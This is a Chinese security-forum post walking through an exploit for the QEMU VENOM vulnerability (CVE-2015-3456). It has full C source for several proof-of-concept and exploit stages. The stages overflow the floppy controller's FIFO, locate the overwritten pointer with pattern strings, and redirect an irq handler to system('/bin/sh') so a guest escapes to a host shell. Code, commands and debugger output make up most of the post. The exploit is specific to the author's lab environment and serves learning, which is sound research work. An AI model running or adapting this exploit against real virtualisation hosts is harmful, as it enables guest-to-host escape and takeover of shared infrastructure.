首页
社区
课程
招聘
[原创]CVE-2015-3456的EXP编写
发表于: 2022-1-10 10:00 11670

[原创]CVE-2015-3456的EXP编写

2022-1-10 10:00
11670

漏洞编号: qemu kvm CVE‐2015‐3456 (VENOM)

宿主机版本: CentOS Linux release 7.9.2009 (Core)

QEMU 版本: QEMU emulator version 1.5.3

QEMU 虚拟机版本: debian_squeeze_amd64_standard.qcow2

参考资料
  1. VENOM漏洞分析与利用
  2. VENOM "毒液"漏洞分析

0x00 说明

VENOM(毒液)是挺经典的堆溢出漏洞,因为是kvm的洞,当年影响也挺广的。原理在 参考资料1 中讲的很详细,这里就简单说一下,本文相对 参考资料1 ,主要的改进是细化了 Exp 的编写。

 

CVE-2015-3456 虚拟机逃逸的主要目的是利用 qemu_set_irq 执行一个 handler 函数(本文执行的是 <system> ),从而在宿主机中运行自己想要的代码。opaque 也就是 qemu_set_irq 的参数可操作性很大,因为堆空间实在太大了,而且也不存在什么坏字符(据说有,但我没遇到)。

0x01 环境配置

  1. 虚拟机启动脚本 vm.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    gdb --args \
        qemu-system-x86_64 \
        -m 1G \
        -hda debian_squeeze_amd64_standard.qcow2 \
        -net user,hostfwd=tcp::22222-:22 \
        -net nic \
        -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
        -smp cores=2,threads=1 \
        -enable-kvm \
        -cpu kvm64,+smep
  2. 启动后可以在宿主机通过 ssh 连接虚拟机

    1
    $ ssh -p 22222 root@127.0.0.1
  3. 可以通过 scp 传输文件

    1
    $ scp -P 22222 exp root@127.0.0.1:/root/
  4. 关闭随机基地址

    1
    $ echo 0 | tee /proc/sys/kernel/randomize_va_space

0x02 漏洞复现

01. 测试现有 POC

参考资料1 中复制现有 POC 并编译上传

1
2
3
$ gedit cve-2015-3456.poc01.c
$ gcc cve-2015-3456.poc01.c -o poc01
$ scp -P 22222 poc01 root@127.0.0.1:/root/

现有 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <sys/io.h>
#include <stdio.h>
 
#define FIFO 0x3f5
 
int main()
{
    int i;
    iopl(3);
    outb(0x08e,0x3f5);
    for(i = 0;i < 10000000;i++)
        outb(0x42,0x3f5);
    return 0;
}

连接到 QEMU 虚拟机,并运行 POC

1
2
$ ssh -p 22222 root@127.0.0.1
$ ./poc01

寄存器:

 

调用堆栈:

02. 寻找 RIP 地址

使用 msf 生成字符串

1
$ msf-pattern_create -l 10000

编译上传

1
2
3
$ gedit cve-2015-3456.test.c
$ gcc cve-2015-3456.test.c -o test
$ scp -P 22222 test root@127.0.0.1:/root/

POC 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <sys/io.h>
#include <stdio.h>
 
// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int count);
 
#define FIFO 0x3f5
 
// buf太长了,在正文中省略
unsigned char buf[] =  "Aa0...1Mv2M";
 
int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 10000;i++)
    {
        outb(0x42,FIFO);
    }
    outsb(FIFO, buf, 10000);
    return 0;
}

运行得到如下信息:

 

调用堆栈:

 

ide_ioport_readopaque 被覆盖,通过 opaque 地址信息 辅助定位,查看一下 opaque 中的内容:

1
(gdb) x/16xw 0x5555567b7a38

 

使用 msf 定位 RIP 和 ide_ioport_read

 

 

计算 RIP 所在偏移

1
2
3
4
5
# 3879 - 1831 = 0x800
# 0x5555567b7a38 + 0x800 = 0x5555567B8238
# 0x5555567B8238 + 8 = 0x5555567B8240
# RIP 所在位置为 0x5555567B8238
# RIP 之后的位置是 0x5555567B8240

03. 修改 POC

1
2
3
$ gedit cve-2015-3456.poc02.c
$ gcc cve-2015-3456.poc02.c -o poc02
$ scp -P 22222 poc02 root@127.0.0.1:/root/

POC02 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <sys/io.h>
#include <stdio.h>
 
// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int count);
 
#define FIFO 0x3f5
 
int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,FIFO);
    }
    outsb(FIFO, "AAAAAAAA", 8);
    for(i = 0;i < 100;i++)
    {
        outb(0x42,FIFO);
    }
    return 0;
}

查看定位信息

1
x/16xw 0x5555567B8238

结果如下图所示,定位没有问题

 

0x03 编写 EXP

根据 参考资料一 寻找可以利用的点

 

 

需要用到如下信息:

1
2
3
# system 0x7ffff6be2520
# "/bin/sh" 0x7ffff5e8dee9
# RIP之后的位置 0x5555567B8240

01. 首先测试一下 qemu_set_irq

1
2
3
$ gedit cve-2015-3456.exp01.c
$ gcc cve-2015-3456.exp01.c -o exp01
$ scp -P 22222 exp01 root@127.0.0.1:/root/

EXP01源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <sys/io.h>
#include <stdio.h>
 
// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int count);
 
#define FIFO 0x3f5
 
int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,FIFO);
    }
 
    // 0x7f ff f6 be 25 20
    // $1 = {int (const char *)} 0x7ffff6be2520 <system>
    outsb(FIFO, "\x20\x25\xbe\xf6\xff\x7f\x00\x00", 8);
 
    // 0x7f ff f5 e8 de e9
    // 0x7ffff5e8dee9:    "/bin/sh"
    outsb(FIFO, "\xe9\xde\xe8\xf5\xff\x7f\x00\x00", 8);
 
    for(i = 0;i < 100;i++)
    {
        outb(0x42,FIFO);
    }
 
    return 0;
}

1
2
3
4
5
6
7
8
9
# 查看调用堆栈,可以看到调用链是 ide_ioport_read -> qemu_irq_lower -> qemu_set_irq
(gdb) bt
 
# 查看 irq 中的信息,目标是把 handler 指向 <system> , opaque 指向 "/bin/sh"
# 从下面的截图中可以看到 irq 当前指向的是 <system> 地址
(gdb) p irq[0]
 
# 确认一下,确实指向的是 <system> 地址
(gdb) x/16xw 0x7ffff6be2520

02. 修改 POC 为 EXP

EXP 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sys/io.h>
#include <stdio.h>
 
// void outb(unsigned char value, unsigned short int port);
// void outsb(unsigned short int port, const void *addr, unsigned long int count);
 
#define FIFO 0x3f5
 
int main()
{
    int i;
    iopl(3);
    outb(0x08e,FIFO);
    for(i = 0;i < 13879;i++)
    {
        outb(0x42,FIFO);
    }
 
    // 0x55 55 56 7B 82 40
    outsb(FIFO, "\x40\x82\x7b\x56\x55\x55\x00\x00", 8);
 
    // 0x7f ff f6 be 25 20
    // $1 = {int (const char *)} 0x7ffff6be2520 <system>
    outsb(FIFO, "\x20\x25\xbe\xf6\xff\x7f\x00\x00", 8);
 
#if 1 // 打开一个宿主机的 shell
    // 0x7f ff f5 e8 de e9
    // 0x7ffff5e8dee9:    "/bin/sh"
    outsb(FIFO, "\xe9\xde\xe8\xf5\xff\x7f\x00\x00", 8);
#endif
 
#if 0 // 创建个文件,或者随便什么操作
    outsb(FIFO, "\x50\x82\x7b\x56\x55\x55\x00\x00", 8);
    outsb(FIFO, "touch /tmp/kvm_xxx", 19);
#endif
 
    for(i = 0;i < 100;i++)
    {
        outb(0x42,FIFO);
    }
 
    return 0;
}

编译上传

1
2
3
$ gedit cve-2015-3456.exp.c
$ gcc cve-2015-3456.exp.c -o exp
$ scp -P 22222 exp root@127.0.0.1:/root/

连接服务器,运行exp

1
2
$ ssh -p 22222 root@127.0.0.1
$ ./exp

最终结果是在宿主机上开启了一个 shell

 

 

完成。

0x04 总结

  1. 文档是去年写的,翻笔记找出来,这几天没事又走了一遍,没想出来怎么改进,一年了还是没什么进步。(去年记录的唯一一篇我自己还能看懂的笔记?)
  2. 漏洞太老了,很难遇到这么经典的老虚拟机了。
  3. 而且不同环境下地址都不一样,本 Exp 不具有通用性,所以就看个热闹吧,没什么事可以复现一下玩玩。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-1-10 15:40 被sea14编辑 ,原因: 忘附参考资料的链接了
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
师傅的图没上来,参考资料的链接也没上来~
2022-1-10 14:50
0
雪    币: 1021
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
有毒 师傅的图没上来,参考资料的链接也没上来~
抱歉,没注意图片的问题,参考链接修改了,谢谢提醒。
2022-1-10 15:44
0
游客
登录 | 注册 方可回帖
返回
//